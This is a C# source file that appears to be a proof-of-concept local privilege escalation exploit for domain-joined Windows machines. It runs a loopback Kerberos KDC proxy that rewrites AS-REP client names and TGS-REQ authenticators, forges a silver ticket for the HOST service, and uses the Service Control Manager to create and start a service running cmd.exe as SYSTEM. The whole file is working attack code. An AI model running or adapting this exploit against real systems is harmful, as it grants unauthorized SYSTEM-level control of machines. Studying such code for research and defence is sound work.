using NtApiDotNet; using NtApiDotNet.Ndr.Marshal; using NtApiDotNet.Win32; using NtApiDotNet.Win32.Rpc.Transport; using NtApiDotNet.Win32.Security.Authentication; using NtApiDotNet.Win32.Security.Authentication.Kerberos; using NtApiDotNet.Win32.Security.Authentication.Kerberos.Client; using NtApiDotNet.Win32.Security.Authentication.Kerberos.Server; using NtApiDotNet.Win32.Security.Authentication.Logon; using System; using System.DirectoryServices.ActiveDirectory; using System.Net; using System.Threading; namespace UrbanDoor { public class ModifyCNameKerberosProxy : KerberosKDCProxy { private KerberosPrincipalName _clientName; private KerberosAuthenticationKey _userKey; private KerberosPrincipalName _originalClientName = null; private KerberosAuthenticationKey _tgtKey = null; public ModifyCNameKerberosProxy(KerberosPrincipalName clientName, KerberosAuthenticationKey userKey, string hostname) : base(new KerberosKDCServerListenerTCP(IPAddress.Loopback, 88), new KerberosKDCClientTransportTCP(hostname, 88)) { _clientName = clientName; _userKey = userKey; } protected override byte[] HandleRequest(byte[] outbound) { if (KerberosKDCRequestAuthenticationToken.TryParse(outbound, out KerberosKDCRequestAuthenticationToken request)) { if (_tgtKey != null && _originalClientName != null && request.MessageType == KerberosMessageType.KRB_TGS_REQ) { Console.WriteLine($"[+] Modifying outgoing TGS-REQ [{outbound.Length}]"); var preAuthTgs = request.PreAuthenticationData[0] as KerberosPreAuthenticationDataTGSRequest; if (preAuthTgs.Authenticator.TryDecrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq, out KerberosEncryptedData enc)) { var authenticator = KerberosAuthenticator.Parse(enc.CipherText); var authenticatorBuilder = authenticator.ToBuilder(); authenticatorBuilder.ClientName = _originalClientName; var newPreAuth = new KerberosPreAuthenticationDataTGSRequest(preAuthTgs.Options, preAuthTgs.Ticket, authenticatorBuilder.Create().Encrypt(_tgtKey, KerberosKeyUsage.TgsReqPaTgsReqApReq)); var builder = request.ToBuilder(); builder.PreAuthenticationData.Clear(); builder.AddPreAuthenticationData(newPreAuth); builder.AddPreAuthenticationData(request.PreAuthenticationData[1]); outbound = builder.Create().ToArray(); } else { Console.WriteLine("[!] Error decrypting with tgtKey"); } } } var inbound = base.HandleRequest(outbound); if (KerberosKDCReplyAuthenticationToken.TryParse(inbound, out KerberosKDCReplyAuthenticationToken reply)) { if (reply.MessageType == KerberosMessageType.KRB_AS_REP) { Console.WriteLine($"[+] Modifying incoming AS-REP [{inbound.Length}]"); _originalClientName = reply.ClientName; if (reply.EncryptedData.TryDecrypt(_userKey, KerberosKeyUsage.AsRepEncryptedPart, out KerberosEncryptedData enc)) { var encryptedPart = KerberosKDCReplyEncryptedPart.Parse(enc.CipherText); _tgtKey = encryptedPart.Key; var builder = reply.ToBuilder(); builder.ClientName = _clientName; return builder.Create().ToArray(); } else { Console.WriteLine("[!] Error decrypting with password"); } } } return inbound; } } class Program { static Luid SYSTEM_LUID = new Luid(0x3E7); static string OUT_PATH = "C:\\windows\\lpe.txt"; static string SERVICE_CMD = "C:\\windows\\system32\\cmd.exe /c echo LPE from {0} > " + OUT_PATH; static void Main(string[] args) { try { if (args.Length != 1 && args.Length != 2) { throw new ArgumentException("Supply "); } string password = args[0]; KerberosTicketCache.PurgeTicketCache(default, null, null); string realm = Domain.GetCurrentDomain().Name.ToUpper(); Sid user_sid = NtToken.PseudoPrimaryToken.User.Sid; string username = user_sid.GetName().Name.ToLower(); string upn = $"{username}@{realm}"; ModifyCNameKerberosProxy proxy = new ModifyCNameKerberosProxy( new KerberosPrincipalName(KerberosNameType.PRINCIPAL, Environment.MachineName + "$"), KerberosAuthenticationKey.DeriveKey(KerberosEncryptionType.AES256_CTS_HMAC_SHA1_96, password, 4096, KerberosNameType.PRINCIPAL, upn, null, 0), Domain.GetCurrentDomain().FindDomainController().Name ); proxy.Start(); KerberosTicketCache.PinKdc(realm, "127.0.0.1", 0); var creds = new KerberosInteractiveLogonCredentials( new UserCredentials(username, realm, password) ) { LogonId = SYSTEM_LUID }; try { using (var handle = LsaLogonHandle.Connect()) { handle.LsaLogonUser( SecurityLogonType.Interactive, AuthenticationPackage.KERBEROS_NAME, creds ); } } catch (Exception e) { Console.WriteLine($"[!] Logon failed. Maybe the key has already been changed:\n{e}\n\n"); } proxy.Stop(); KerberosTicketCache.UnpinAllKdcs(); Client scm = new Client(); RpcTransportSecurity security = new RpcTransportSecurity(ctx => SilverTicket.CreateContext(ctx, password, 500, 512)); security.AuthenticationLevel = RpcAuthenticationLevel.Connect; security.AuthenticationType = RpcAuthenticationType.Kerberos; security.ServicePrincipalName = $"HOST/{Environment.MachineName}"; scm.Connect("ncacn_np", @"\pipe\ntsvcs", security); int error = scm.ROpenSCManagerW(null, null, (int)ServiceControlManagerAccessRights.GenericAll, out NdrContextHandle hscm); if (error != 0) throw new SafeWin32Exception(error); Console.WriteLine($"[+] Opened SCM: {hscm}"); string serviceName = Guid.NewGuid().ToString(); int? tag_id = null; error = scm.RCreateServiceW(hscm, serviceName, null, (int)ServiceAccessRights.MaximumAllowed, (int)ServiceType.Win32OwnProcess, (int)ServiceStartType.Demand, 0, string.Format(SERVICE_CMD, serviceName), null, ref tag_id, null, 0, null, null, 0, out NdrContextHandle hservice); if (error != 0) throw new SafeWin32Exception(error); Console.WriteLine($"[+] Service created: {serviceName}"); scm.RStartServiceW(hservice, 0, null); Thread.Sleep(250); Console.WriteLine($"\n[+] Done. {OUT_PATH} contains: {System.IO.File.ReadAllText(OUT_PATH)}"); } catch (Exception ex) { Console.WriteLine("[!] Error:\n"); Console.WriteLine(ex); } } } }